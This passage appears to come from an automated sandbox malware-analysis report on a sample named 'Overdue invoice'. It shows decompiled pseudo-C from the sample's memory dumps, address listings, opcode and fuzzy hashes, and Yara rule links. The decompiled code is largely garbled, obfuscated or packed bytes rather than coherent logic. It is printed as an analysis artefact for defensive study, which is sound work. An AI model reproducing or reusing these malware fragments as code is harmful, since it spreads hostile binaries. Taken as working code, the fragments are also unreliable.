				signed int _t189;
				void* _t191;
				void* _t192;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t197;
				signed int _t205;
				signed int* _t206;
				signed int _t212;
				signed int* _t216;
				signed int _t217;
				signed int _t218;
				void* _t219;
				void* _t221;
				void* _t229;

				_t216 = __esi;
				_t205 = __edx;
				asm("sti");
				_push(cs);
				_t218 = _t217 |  *__ebx;
				 *__edi =  *__edi & __eax;
				_t194 = __ecx & __edx;
				asm("invalid");
				_push(cs);
				 *_t194 =  *_t194 + 1;
				asm("sbb [edi+0x2b0b0efb], cl");
				_push(cs);
				_t68 = __eax | 0xfffffffffb8f2f29 |  *__edx;
				 *__ebx =  *__ebx - _t68;
				 *__esi =  *__esi + _t68;
				_t70 = (_t68 |  *__esi) -  *(_t68 |  *__esi);
				 *_t70 =  *_t70 + _t70;
				asm("adc esi, [eax]");
				 *_t70 =  *_t70 | _t70;
				_t71 = _t70 ^  *_t70;
				 *_t71 =  *_t71 + _t71;
				asm("sbb al, [eax]");
				 *_t194 =  *_t194 + __edx;
				__esi[0xa3c614e] = __esi[0xa3c614e] & __edx;
				asm("int 0x0");
				 *__esi =  *__esi + _t71;
				 *((intOrPtr*)(__edx + 0x200a0000)) =  *((intOrPtr*)(__edx + 0x200a0000)) - __ebx;
				asm("arpl [edx], di");
				_t195 = _t194 - _t194;
				 *_t71 =  *_t71 + _t71;
				 *_t71 =  *_t71 & _t71;
				 *_t71 =  *_t71 + _t71;
				 *((intOrPtr*)(_t219 + __edx)) =  *((intOrPtr*)(_t219 + __edx)) + __edx;
				ss = es;
				 *_t195 =  *_t195 + _t71;
				_t73 = (_t71 & 0x6fa20216) -  *(_t71 & 0x6fa20216);
				 *0xa0a0000 =  *0xa0a0000 + __edx;
				 *_t195 =  *_t195 ^ _t73;
				 *0x1a000000 =  *0x1a000000 + _t195;
				 *_t73 =  *_t73 + _t73;
				asm("adc [edx], eax");
				 *((intOrPtr*)(_t195 + 0x280a0000)) =  *((intOrPtr*)(_t195 + 0x280a0000)) - __edx;
				_t221 = es;
				 *_t73 =  *_t73 + _t73;
				_push(es);
				_push(es);
				_t74 = _t73 -  *_t73;
				 *_t74 =  *_t74 + _t74;
				_push(ds);
				_t177 = 0xa0a0000 +  *0x0A0A0035;
				 *_t74 =  *_t74 + _t74;
				_t76 = _t74 + 0x0000002a &  *__edx;
				 *_t76 =  *_t76 + _t76;
				_t77 = _t76 + 0x2a;
				 *_t77 =  *_t77 + _t77;
				 *__esi =  *__esi + _t177;
				_t178 = _t177 +  *0x0A0A0036;
				 *_t77 =  *_t77 + _t77;
				_t79 = _t77 + 0x0000002a &  *__edx;
				 *_t79 =  *_t79 + _t79;
				_t80 = _t79 + 0x2a;
				 *_t80 =  *_t80 + _t80;
				 *__esi =  *__esi + _t178;
				_t179 = _t178 +  *0x0A0A0037;
				 *_t80 =  *_t80 + _t80;
				_t82 = _t80 + 0x0000002a &  *__edx;
				 *_t82 =  *_t82 + _t82;
				_t83 = _t82 + 0x2a;
				 *_t83 =  *_t83 + _t83;
				 *__esi =  *__esi + _t179;
				_t180 = _t179 +  *0x0A0A0038;
				 *_t83 =  *_t83 + _t83;
				_t85 = _t83 + 0x0000002a &  *__edx;
				 *_t85 =  *_t85 + _t85;
				_t86 = _t85 + 0x2a;
				 *_t86 =  *_t86 + _t86;
				 *__esi =  *__esi + _t180;
				_t181 = _t180 +  *0x0A0A0039;
				 *_t86 =  *_t86 + _t86;
				_t88 = _t86 + 0x0000002a &  *__edx;
				_t212 = __edi +  *((intOrPtr*)(_t218 + 0x35)) +  *((intOrPtr*)(_t218 + 0x36)) +  *((intOrPtr*)(_t218 + 0x37)) +  *((intOrPtr*)(_t218 + 0x38)) +  *((intOrPtr*)(_t218 + 0x39));
				 *_t88 =  *_t88 + _t88;
				_t89 = _t88 + 0x2a;
				 *_t89 =  *_t89 + _t89;
				 *__esi =  *__esi + _t181;
				_t182 = _t181 +  *0x0A0A003A;
				 *_t89 =  *_t89 + _t89;
				asm("adc esi, [eax]");
				_t91 = _t89 + 0x2a +  *((intOrPtr*)(_t89 + 0x2a));
				asm("aaa");
				 *_t91 =  *_t91 + _t91;
				 *_t91 =  *_t91 + _t195;
				 *_t91 =  *_t91 + _t91;
				asm("adc [edx], eax");
				 *__esi =  *__esi + 1;
				_push(0xa0a0000);
				 *_t91 =  *_t91 + _t91;
				_push(es);
				if( *_t91 >= 0) {
					L4:
					_push(es);
					asm("outsd");
					 *_t205 =  *_t205 + _t195;
					_t93 = _t91 -  *_t91 -  *((intOrPtr*)(_t91 -  *_t91));
					_push(ds);
					_t183 = _t182 +  *((intOrPtr*)(_t182 + 0x3b));
					 *_t93 =  *_t93 + _t93;
					_t95 = _t93 + 0x0000002a &  *_t205;
					 *_t95 =  *_t95 + _t95;
					_t96 = _t95 + 0x2a;
					 *_t96 =  *_t96 + _t96;
					 *_t216 =  *_t216 + _t183;
					_t184 = _t183 +  *((intOrPtr*)(_t183 + 0x3c));
					 *_t96 =  *_t96 + _t96;
					_t98 = _t96 + 0x0000002a &  *_t205;
					_t212 = _t212 +  *((intOrPtr*)(_t218 + 0x3b)) +  *((intOrPtr*)(_t218 + 0x3c));
					 *_t98 =  *_t98 + _t98;
					_t99 = _t98 + 0x2a;
					goto L5;
				} else {
					 *_t91 =  *_t91 + _t91;
					_t195 = _t195 |  *__edx;
					_t184 = _t182 +  *((intOrPtr*)(0xa0a003a));
					 *_t91 =  *_t91 + _t91;
					_pop(es);
					_pop(es);
					_push(es);
					asm("outsd");
					 *__edx =  *__edx + _t195;
					_t99 = _t91 + 0xb - 7 -  *((intOrPtr*)(_t91 + 0xb - 7)) +  *0xa0a0000;
					if(_t99 >= 0) {
						L5:
						_t100 = _t99 -  *_t99;
						 *_t100 =  *_t100 + _t100;
						_push(ds);
						_t185 = _t184 +  *((intOrPtr*)(_t184 + 0x3d));
						_t229 = _t185;
					} else {
						 *_t99 =  *_t99 + _t99;
						_t100 = _t99 + 2;
						if(_t100 == 0) {
							 *_t100 =  *_t100 + _t100;
							_pop(es);
							_t91 = _t100 + 0xb - 7;
							_pop(es);
							goto L4;
						}
					}
				}
				if(_t229 == 0) {
					 *_t100 =  *_t100 + _t100;
					_t164 = _t100 + 0x0000002a &  *_t205;
					 *_t164 =  *_t164 + _t164;
					_t165 = _t164 + 0x2a;
					 *_t165 =  *_t165 + _t165;
					 *_t216 =  *_t216 + _t185;
					_t191 = _t185 +  *((intOrPtr*)(_t185 + 0x3e));
					 *_t165 =  *_t165 + _t165;
					_t167 = _t165 + 0x0000002a &  *_t205;
					 *_t167 =  *_t167 + _t167;
					_t168 = _t167 + 0x2a;
					 *_t168 =  *_t168 + _t168;
					 *_t216 =  *_t216 + _t191;
					_t192 = _t191 +  *((intOrPtr*)(_t191 + 0x3f));
					 *_t168 =  *_t168 + _t168;
					_t170 = _t168 + 0x0000002a &  *_t205;
					_t212 = _t212 +  *((intOrPtr*)(_t218 + 0x3d)) +  *((intOrPtr*)(_t218 + 0x3e)) +  *((intOrPtr*)(_t218 + 0x3f));
					 *_t170 =  *_t170 + _t170;
					_t100 = _t170 + 0x2a;
					 *_t100 =  *_t100 + _t100;
					 *_t216 =  *_t216 + _t192;
					_t185 = _t192 +  *((intOrPtr*)(_t192 + 0x40));
					 *_t100 =  *_t100 + _t100;
				}
				 *((intOrPtr*)(_t205 + _t218)) =  *((intOrPtr*)(_t205 + _t218)) + _t100;
				asm("adc esi, [eax]");
				_t101 = _t100 +  *_t100;
				asm("aaa");
				 *_t101 =  *_t101 + _t101;
				 *_t101 =  *_t101 + _t195;
				 *_t101 =  *_t101 + _t101;
				asm("adc [edx], eax");
				 *_t216 =  *_t216 + 1;
				_push(_t221);
				 *_t101 =  *_t101 + _t101;
				_push(es);
				if( *_t101 >= 0) {
					L12:
					_push(es);
					asm("outsd");
					 *_t205 =  *_t205 + _t195;
					_t103 = _t101 -  *_t101 -  *((intOrPtr*)(_t101 -  *_t101));
					_push(ds);
					_t186 = _t185 +  *((intOrPtr*)(_t185 + 0x41));
					 *_t103 =  *_t103 + _t103;
					asm("adc esi, [eax]");
					_t105 = _t103 + 0x2a +  *((intOrPtr*)(_t103 + 0x2a));
					asm("aaa");
					 *_t105 =  *_t105 + _t105;
					 *_t105 =  *_t105 + _t195;
					 *_t105 =  *_t105 + _t105;
					asm("adc [edx], eax");
					 *_t216 =  *_t216 + 1;
					_push(_t218);
					 *_t105 =  *_t105 + _t105;
					_push(es);
					if( *_t105 >= 0) {
						goto L18;
					} else {
						 *_t105 =  *_t105 + _t105;
						_t195 = _t195 |  *_t205;
						_t188 = _t186 +  *((intOrPtr*)(_t186 + 0x41));
						 *_t105 =  *_t105 + _t105;
						_pop(es);
						_t156 = _t105 + 0xb - 7;
						goto L14;
					}
				} else {
					 *_t101 =  *_t101 + _t101;
					_t195 = _t195 |  *_t205;
					_t188 = _t185 +  *((intOrPtr*)(_t185 + 0x40));
					 *_t101 =  *_t101 + _t101;
					_pop(es);
					_pop(es);
					_push(es);
					asm("outsd");
					 *_t205 =  *_t205 + _t195;
					_t156 = _t101 + 0xb - 7 -  *((intOrPtr*)(_t101 + 0xb - 7)) +  *_t188;
					if(_t156 >= 0) {
						L14:
						_pop(es);
						_pop(es);
						_push(es);
						asm("outsd");
						_t157 = _t156 -  *_t156;
						goto L15;
					} else {
						 *_t156 =  *_t156 + _t156;
						_t157 = _t156 + 2;
						if(_t157 != 0) {
							L15:
							 *_t205 =  *_t205 + _t195;
							_t112 = _t157 +  *_t188;
							if(_t112 >= 0) {
								L20:
								_push(_t216);
								 *_t112 =  *_t112 + _t112;
								_push(es);
								if( *_t112 >= 0) {
									goto L25;
								} else {
									goto L21;
								}
							} else {
								 *_t112 =  *_t112 + _t112;
								_t112 = _t112 + 2;
								if(_t112 != 0) {
									L21:
									 *_t112 =  *_t112 + _t112;
									_t195 = _t195 |  *_t205;
									_t188 = _t188 + _t188[0x10];
									L22:
									 *_t110 =  *_t110 + _t110;
									_pop(es);
									_pop(es);
									_push(es);
									asm("outsd");
									 *_t205 =  *_t205 + _t195;
									_t110 = _t110 + 0xb - 7 -  *((intOrPtr*)(_t110 + 0xb - 7)) +  *_t188;
									if(_t110 >= 0) {
										L26:
										 *_t110 =  *_t110 + _t110;
										asm("adc [edx], eax");
										 *_t216 =  *_t216 + 1;
									} else {
										 *_t110 =  *_t110 + _t110;
										_t110 = _t110 + 2;
										if(_t110 == 0) {
											 *_t110 =  *_t110 + _t110;
											_pop(es);
											_t112 = _t110 + 0xb - 7;
											_pop(es);
											L25:
											_push(es);
											asm("outsd");
											 *_t205 =  *_t205 + _t195;
											_t114 = _t112 -  *_t112 -  *((intOrPtr*)(_t112 -  *_t112));
											asm("o16 add ch, [eax]");
											 *_t195 =  *_t195 + _t114;
											 *_t216 =  *_t216 + _t114;
											_t205 = _t205 + _t188[3];
											 *_t114 =  *_t114 + _t114;
											_push(es);
											asm("outsd");
											 *_t216 =  *_t216 + _t114;
											_t115 = _t114 +  *_t188;
											asm("outsd");
											 *_t216 =  *_t216 + _t115;
											_t116 = _t115 -  *_t115;
											 *_t216 = _t188 +  *_t216;
											_t188 = _t188 + _t188[0x11];
											 *_t116 =  *_t116 + _t116;
											asm("adc esi, [eax]");
											_t110 = _t116 + 0x2a +  *((intOrPtr*)(_t116 + 0x2a));
											_push(_t205);
											 *_t110 =  *_t110 + _t110;
											 *_t216 = _t188 +  *_t216;
											goto L26;
										}
									}
								} else {
									 *_t112 =  *_t112 + _t112;
									_pop(es);
									_t105 = _t112 + 0xb - 7;
									_pop(es);
									L18:
									_push(es);
									asm("outsd");
									 *_t205 =  *_t205 + _t195;
									_t107 = _t105 -  *_t105 -  *((intOrPtr*)(_t105 -  *_t105));
									_push(ds);
									_t187 = _t186 +  *((intOrPtr*)(_t186 + 0x42));
									 *_t107 =  *_t107 + _t107;
									_t109 = _t107 + 0x0000002a &  *_t205;
									_t212 = _t212 +  *((intOrPtr*)(_t218 + 0x42));
									 *_t109 =  *_t109 + _t109;
									_t110 = _t109 + 0x2a;
									 *_t110 =  *_t110 + _t110;
									 *_t216 =  *_t216 + _t187;
									_t188 = _t187 +  *((intOrPtr*)(_t187 + 0x43));
									 *_t110 =  *_t110 + _t110;
									L19:
									asm("adc esi, [eax]");
									_t112 = _t110 + 0x2a +  *((intOrPtr*)(_t110 + 0x2a));
									asm("aaa");
									 *_t112 =  *_t112 + _t112;
									 *_t112 =  *_t112 + _t195;
									 *_t112 =  *_t112 + _t112;
									asm("adc [edx], eax");
									 *_t216 =  *_t216 + 1;
									goto L20;
								}
							}
						} else {
							 *_t157 =  *_t157 + _t157;
							_pop(es);
							_t101 = _t157 + 0xb - 7;
							_pop(es);
							goto L12;
						}
					}
				}
				 *_t110 = _t110;
				 *_t216 =  *_t216 + _t110;
				if( *_t216 >= 0) {
					goto L19;
				}
				 *_t110 =  *_t110 + _t110;
				_t195 = _t195 |  *_t205;
				_t188 = _t188 + _t205;
				_push(es);
				 *_t110 = _t110;
				 *_t216 =  *_t216 + _t110;
				if( *_t216 >= 0) {
					goto L22;
				}
				 *_t110 =  *_t110 + _t110;
				_t196 = _t195 |  *_t188;
				_t189 = _t188 + _t188[0x11];
				 *_t110 =  *_t110 + _t110;
				_t122 = _t110 + 0xc;
				 *(_t216 + _t196) =  *(_t216 + _t196) | _t196;
				 *_t216 =  *_t216 | _t122;
				asm("outsd");
				_t123 = _t122 +  *_t196;
				 *_t216 =  *_t216 + _t123;
				 *_t212 =  *_t212 | _t123;
				asm("outsd");
				_t124 = _t123 + 1;
				 *_t216 =  *_t216 + _t124;
				_t125 = _t124 +  *_t189;
				if(_t125 >= 0) {
					L32:
					_t127 = _t125 +  *((intOrPtr*)(_t125 + _t218)) + 0x2a060001;
				} else {
					 *_t125 =  *_t125 + _t125;
					_t127 = _t125 + 2;
					if(_t127 == 0) {
						 *_t127 =  *_t127 + _t127;
						_t148 = _t127 + 0xc;
						 *(_t216 + _t196) =  *(_t216 + _t196) | _t196;
						 *_t216 =  *_t216 | _t148;
						asm("outsd");
						 *_t196 =  *_t196 + _t148;
						 *_t216 =  *_t216 + _t148;
						 *_t212 =  *_t212 | _t148;
						asm("outsd");
						_t149 = _t148 +  *_t196;
						 *_t216 =  *_t216 + _t149;
						_t150 = _t149 -  *_t149;
						 *_t189 =  *_t189 + _t205;
						 *_t196 =  *_t196 ^ _t150;
						 *_t196 =  *_t196 + _t196;
						 *_t150 =  *_t150 + _t150;
						 *_t212 =  *_t212 + _t189;
						 *_t150 =  *_t150 + _t150;
						asm("adc [edx], eax");
						asm("outsd");
						 *_t216 =  *_t216 + _t150;
						_t152 = (_t150 |  *_t216) -  *(_t150 |  *_t216);
						 *_t152 =  *_t152 + _t152;
						_t153 = _t152 &  *_t205;
						_t218 = _t218 +  *((intOrPtr*)(_t212 - 0x7b));
						 *_t153 =  *_t153 + _t153;
						_push(es);
						_t154 = _t153 -  *_t153;
						 *_t154 =  *_t154 + _t154;
						_t125 = _t154 +  *[es:edx];
						goto L32;
					}
				}
				_t128 = _t127 -  *_t127;
				 *_t216 =  *_t216 + _t128;
				_t130 = _t128 +  *_t205 + 0x28;
				es = es;
				 *_t130 =  *_t130 + _t130;
				_push(es);
				_t131 = _t130 -  *_t130;
				 *_t216 =  *_t216 + _t189;
				_t197 = _t196 +  *_t131;
				_t132 = _t131 &  *_t131;
				 *_t205 =  *_t205 + _t197;
				_t206 = _t205 -  *_t189;
				 *_t189 =  *_t189 ^ _t132;
				 *_t197 =  *_t197 + _t197;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				asm("adc [edx], eax");
				if( *_t132 != 0) {
					L37:
					_t133 = _t132 ^  *_t132;
					 *_t197 =  *_t197 + _t133;
					_t134 = _t133 | 0x00000002;
					if(_t134 < 0) {
						goto L42;
					} else {
						 *_t134 =  *_t134 + _t134;
						_t136 = _t134 + 8;
						_pop(es);
						 *0xa2b0000 =  *0xa2b0000 - _t136;
						es = es;
						_t189 = _t189 ^ _t212;
						goto L39;
					}
				} else {
					 *_t132 =  *_t132 + _t132;
					_push(es);
					_t143 = _t132 + 0x0000000a |  *_t212;
					_t218 = _t218 +  *_t143;
					_t144 = _t143 ^  *_t143;
					 *_t197 =  *_t197 + _t144;
					_t136 = _t144 | 0x00000002;
					if(_t136 < 0) {
						L39:
						asm("fild qword [edx]");
						 *_t136 =  *_t136 + _t136;
						 *_t189 = _t206 +  *_t189;
						 *_t189 =  *_t189 ^ _t136;
						 *_t136 =  *_t136 + _t189;
						 *_t136 =  *_t136 + _t136;
						 *_t197 =  *_t197 + _t136;
						 *_t136 =  *_t136 + _t136;
						asm("adc [edx], eax");
						if( *_t136 == 0) {
							 *_t136 =  *_t136 + _t136;
							_push(es);
							_push(es);
							_t140 = _t136 + 0xa - 0xd +  *_t189;
							if(_t140 >= 0) {
								goto L36;
							} else {
								 *_t140 =  *_t140 + _t140;
								 *_t140 =  *_t140 + _t140;
								_pop(ss);
								asm("outsd");
								_t134 = _t197 |  *(_t212 - 0x40) |  *_t206;
								 *_t134 =  *_t134 + _t134;
								_push(es);
								asm("rol dword [eax], 0x0");
								_t197 = _t140 +  *_t134 |  *_t206;
								L42:
								 *_t189 = _t206 +  *_t189;
								 *_t197 =  *_t197 ^ _t134;
								 *((intOrPtr*)(_t134 + _t134)) =  *((intOrPtr*)(_t134 + _t134)) + _t197;
								 *_t134 =  *_t134 + _t134;
								_pop(es);
								 *_t134 =  *_t134 + _t134;
								asm("adc [ebx], eax");
								_t136 = (_t134 |  *_t216) - 6;
								 *_t136 =  *_t136 + _t136;
								_push(es);
								_t197 = _t197 +  *((intOrPtr*)(_t212 - 0x74)) -  *_t189;
								 *_t206 =  *_t206 ^ _t136;
								 *_t197 = _t206 +  *_t197;
								 *_t136 =  *_t136 + _t136;
								 *_t136 =  *_t136 + _t136;
							}
						}
					} else {
						 *_t136 =  *_t136 + _t136;
						_t145 = _t136 + 8;
						_pop(es);
						 *0xa2b0000 =  *0xa2b0000 - _t145;
						es = es;
						_t146 = _t145 -  *_t145;
						 *_t146 =  *_t146 + _t146;
						asm("adc esi, [eax]");
						_t147 = _t146 +  *_t146;
						 *_t147 =  *_t147 - _t147;
						 *_t147 =  *_t147 + _t147;
						 *_t147 =  *_t147 & _t147;
						 *_t197 = _t206 +  *_t197;
						_t189 = (_t189 ^ _t212) +  *((intOrPtr*)((_t189 ^ _t212) + 0x46));
						 *_t147 =  *_t147 + _t147;
						_t140 = _t147 + 0xa;
						L36:
						_t132 = _t140 |  *_t216 |  *_t212;
						_t218 = _t218 +  *_t132;
						_t216 = 0x740a0000;
						goto L37;
					}
				}
				 *_t136 =  *_t136 + _t136;
				 *_t206 =  *_t206 + _t136;
				_push(ss);
				asm("outsd");
				_t137 = _t197;
				 *_t137 =  *_t137 + _t137;
				_push(es);
				asm("fiadd word [edi]");
				return _t137;
			}

0x00524db1
0x00524db1
0x00524db1
0x00524db2
0x00524db3
0x00524db5
0x00524db7
0x00524db9
0x00524dbb
0x00524dbc
0x00524dc3
0x00524dce
0x00524dcf
0x00524dd1
0x00524dd4
0x00524dd8
0x00524dda
0x00524ddc
0x00524dde
0x00524de0
0x00524de2
0x00524de4
0x00524de6
0x00524de8
0x00524dee
0x00524df0
0x00524df2
0x00524df8
0x00524dfc
0x00524dfe
0x00524e01
0x00524e03
0x00524e05
0x00524e08
0x00524e0c
0x00524e19
0x00524e1b
0x00524e1d
0x00524e1f
0x00524e25
0x00524e27
0x00524e29
0x00524e2f
0x00524e30
0x00524e32
0x00524e33
0x00524e34
0x00524e36
0x00524e38
0x00524e39
0x00524e3c
0x00524e40
0x00524e45
0x00524e47
0x00524e49
0x00524e4b
0x00524e4d
0x00524e50
0x00524e54
0x00524e59
0x00524e5b
0x00524e5d
0x00524e5f
0x00524e61
0x00524e64
0x00524e68
0x00524e6d
0x00524e6f
0x00524e71
0x00524e73
0x00524e75
0x00524e78
0x00524e7c
0x00524e81
0x00524e83
0x00524e85
0x00524e87
0x00524e89
0x00524e8c
0x00524e90
0x00524e92
0x00524e95
0x00524e97
0x00524e99
0x00524e9b
0x00524e9d
0x00524ea0
0x00524ea4
0x00524ea6
0x00524ea8
0x00524ea9
0x00524eab
0x00524ead
0x00524eaf
0x00524eb1
0x00524eb3
0x00524eb4
0x00524eb6
0x00524eb7
0x00524ee0
0x00524ee0
0x00524ee1
0x00524ee4
0x00524ee6
0x00524ee8
0x00524ee9
0x00524eec
0x00524ef0
0x00524ef5
0x00524ef7
0x00524ef9
0x00524efb
0x00524efd
0x00524f00
0x00524f04
0x00524f06
0x00524f09
0x00524f0b
0x00000000
0x00524eb9
0x00524eb9
0x00524ebb
0x00524ebd
0x00524ec0
0x00524ec4
0x00524ec7
0x00524ec8
0x00524ec9
0x00524ecc
0x00524ece
0x00524ed0
0x00524f0c
0x00524f0c
0x00524f0e
0x00524f10
0x00524f11
0x00524f11
0x00524ed2
0x00524ed2
0x00524ed4
0x00524ed6
0x00524ed8
0x00524edc
0x00524edd
0x00524edf
0x00000000
0x00524edf
0x00524ed6
0x00524ed0
0x00524f12
0x00524f14
0x00524f18
0x00524f1d
0x00524f1f
0x00524f21
0x00524f23
0x00524f25
0x00524f28
0x00524f2c
0x00524f31
0x00524f33
0x00524f35
0x00524f37
0x00524f39
0x00524f3c
0x00524f40
0x00524f42
0x00524f45
0x00524f47
0x00524f49
0x00524f4b
0x00524f4d
0x00524f50
0x00524f50
0x00524f51
0x00524f54
0x00524f56
0x00524f58
0x00524f59
0x00524f5b
0x00524f5d
0x00524f5f
0x00524f61
0x00524f63
0x00524f64
0x00524f66
0x00524f67
0x00524f90
0x00524f90
0x00524f91
0x00524f94
0x00524f96
0x00524f98
0x00524f99
0x00524f9c
0x00524fa0
0x00524fa2
0x00524fa4
0x00524fa5
0x00524fa7
0x00524fa9
0x00524fab
0x00524fad
0x00524faf
0x00524fb0
0x00524fb2
0x00524fb3
0x00000000
0x00524fb5
0x00524fb5
0x00524fb7
0x00524fb9
0x00524fbc
0x00524fc0
0x00524fc1
0x00000000
0x00524fc1
0x00524f69
0x00524f69
0x00524f6b
0x00524f6d
0x00524f70
0x00524f74
0x00524f77
0x00524f78
0x00524f79
0x00524f7c
0x00524f7e
0x00524f80
0x00524fc2
0x00524fc2
0x00524fc3
0x00524fc4
0x00524fc5
0x00524fc6
0x00000000
0x00524f82
0x00524f82
0x00524f84
0x00524f86
0x00524fc8
0x00524fc8
0x00524fca
0x00524fcc
0x0052500f
0x0052500f
0x00525010
0x00525012
0x00525013
0x00000000
0x00000000
0x00000000
0x00000000
0x00524fce
0x00524fce
0x00524fd0
0x00524fd2
0x00525015
0x00525015
0x00525017
0x00525019
0x0052501c
0x0052501c
0x00525020
0x00525023
0x00525024
0x00525025
0x00525028
0x0052502a
0x0052502c
0x00525071
0x00525071
0x00525073
0x00525075
0x0052502e
0x0052502e
0x00525030
0x00525032
0x00525034
0x00525038
0x00525039
0x0052503b
0x0052503c
0x0052503c
0x0052503d
0x00525040
0x00525042
0x00525044
0x00525047
0x00525049
0x0052504b
0x0052504e
0x00525050
0x00525051
0x00525054
0x00525056
0x00525058
0x0052505b
0x0052505d
0x0052505f
0x00525061
0x00525064
0x00525068
0x0052506a
0x0052506c
0x0052506d
0x0052506f
0x00000000
0x0052506f
0x00525032
0x00524fd4
0x00524fd4
0x00524fd8
0x00524fd9
0x00524fdb
0x00524fdc
0x00524fdc
0x00524fdd
0x00524fe0
0x00524fe2
0x00524fe4
0x00524fe5
0x00524fe8
0x00524fec
0x00524fee
0x00524ff1
0x00524ff3
0x00524ff5
0x00524ff7
0x00524ff9
0x00524ffc
0x00524ffe
0x00525000
0x00525002
0x00525004
0x00525005
0x00525007
0x00525009
0x0052500b
0x0052500d
0x00000000
0x0052500d
0x00524fd2
0x00524f88
0x00524f88
0x00524f8c
0x00524f8d
0x00524f8f
0x00000000
0x00524f8f
0x00524f86
0x00524f80
0x00525077
0x00525079
0x0052507b
0x00000000
0x00000000
0x0052507d
0x0052507f
0x00525081
0x00525083
0x00525084
0x00525086
0x00525088
0x00000000
0x00000000
0x0052508a
0x0052508c
0x0052508e
0x00525091
0x00525093
0x00525095
0x00525098
0x0052509a
0x0052509b
0x0052509d
0x0052509f
0x005250a1
0x005250a2
0x005250a4
0x005250a6
0x005250a8
0x005250ee
0x005250f1
0x005250aa
0x005250aa
0x005250ac
0x005250ae
0x005250b0
0x005250b2
0x005250b4
0x005250b7
0x005250b9
0x005250ba
0x005250bc
0x005250be
0x005250c0
0x005250c1
0x005250c3
0x005250c5
0x005250c7
0x005250c9
0x005250cb
0x005250cd
0x005250cf
0x005250d1
0x005250d3
0x005250d5
0x005250d8
0x005250dc
0x005250de
0x005250e0
0x005250e2
0x005250e5
0x005250e7
0x005250e8
0x005250ea
0x005250ec
0x00000000
0x005250ec
0x005250ae
0x005250f5
0x005250f7
0x005250fb
0x005250fd
0x005250fe
0x00525100
0x00525101
0x00525103
0x00525105
0x00525107
0x00525109
0x0052510b
0x0052510d
0x0052510f
0x00525111
0x00525113
0x00525115
0x00525117
0x00525119
0x00525161
0x00525161
0x00525163
0x00525165
0x00525167
0x00000000
0x00525169
0x00525169
0x0052516b
0x0052516d
0x0052516e
0x00525175
0x00525176
0x00000000
0x00525176
0x0052511b
0x0052511b
0x0052511f
0x00525120
0x00525122
0x00525129
0x0052512b
0x0052512d
0x0052512f
0x00525177
0x00525177
0x00525179
0x0052517b
0x0052517d
0x0052517f
0x00525181
0x00525183
0x00525185
0x00525187
0x00525189
0x0052518b
0x0052518f
0x00525192
0x00525193
0x00525195
0x00000000
0x00525197
0x00525197
0x0052519c
0x005251a2
0x005251a3
0x005251a4
0x005251a5
0x005251a7
0x005251aa
0x005251ad
0x005251af
0x005251af
0x005251b1
0x005251b3
0x005251b6
0x005251b8
0x005251b9
0x005251bb
0x005251bf
0x005251c4
0x005251c6
0x005251c7
0x005251c9
0x005251cb
0x005251cd
0x005251cf
0x005251cf
0x00525195
0x00525131
0x00525131
0x00525133
0x00525135
0x00525136
0x0052513d
0x00525140
0x00525142
0x00525144
0x00525146
0x00525148
0x0052514a
0x0052514c
0x0052514e
0x00525150
0x00525153
0x00525155
0x00525156
0x00525158
0x0052515a
0x0052515c
0x00000000
0x0052515c
0x0052512f
0x005251d1
0x005251d3
0x005251d5
0x005251d6
0x005251d7
0x005251d8
0x005251da
0x005251db
0x005251df

Memory Dump Source

Source File: 00000000.00000002.297583913.0000000000522000.00000002.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.297565297.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.297763203.00000000005BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.297784487.00000000005C6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 893d992448fcceffcf45ba799183bbad3250e7a40c7c0540991a93a8a74b845a
Instruction ID: 1464a4e6071fc33a7806a75dab81a627f2e8d0e09aa04e230bd7e174bc915fd1
Opcode Fuzzy Hash: 893d992448fcceffcf45ba799183bbad3250e7a40c7c0540991a93a8a74b845a
Instruction Fuzzy Hash: BA22C16244E3D15FCB135B78ADB51E17FB19E6721871E09CBD8C0CF0A3E11829AAD762

Uniqueness

Uniqueness Score: -1.00%

Function 00C2E2E0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d523307edf7e2b08c8d7d0424ec15291ca5898beb6ed029c08196722000c4cb
Instruction ID: 62778486181e09287a8a092cb9dc7a039fc33f50e2fc6036df8abe8697f390fa
Opcode Fuzzy Hash: 5d523307edf7e2b08c8d7d0424ec15291ca5898beb6ed029c08196722000c4cb
Instruction Fuzzy Hash: 2A12A3F1611F468BE710CF65EC983AE3BA1B745328F924308D2612BAF1D7B8154AEF54

Uniqueness

Uniqueness Score: -1.00%

Function 00C2BA74 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07bb0d4271d46584a6d4ec1f4e827277da09db59b359a7d9381ab3dc9a07e265
Instruction ID: f9d5ada9b93c66768f99fde23df27b77172ddaa4900b4eb1c0fad609d4ca5e4c
Opcode Fuzzy Hash: 07bb0d4271d46584a6d4ec1f4e827277da09db59b359a7d9381ab3dc9a07e265
Instruction Fuzzy Hash: 4EA18C32E00629CFCF15DFB5D8445DEBBB2FF95300B15856AE816AB225EB30AD46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C2E2D0 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.298223387.0000000000C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c20000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd52248c734efa5303034440764576cedfd50de79e18906ad85923d3cba4f5e1
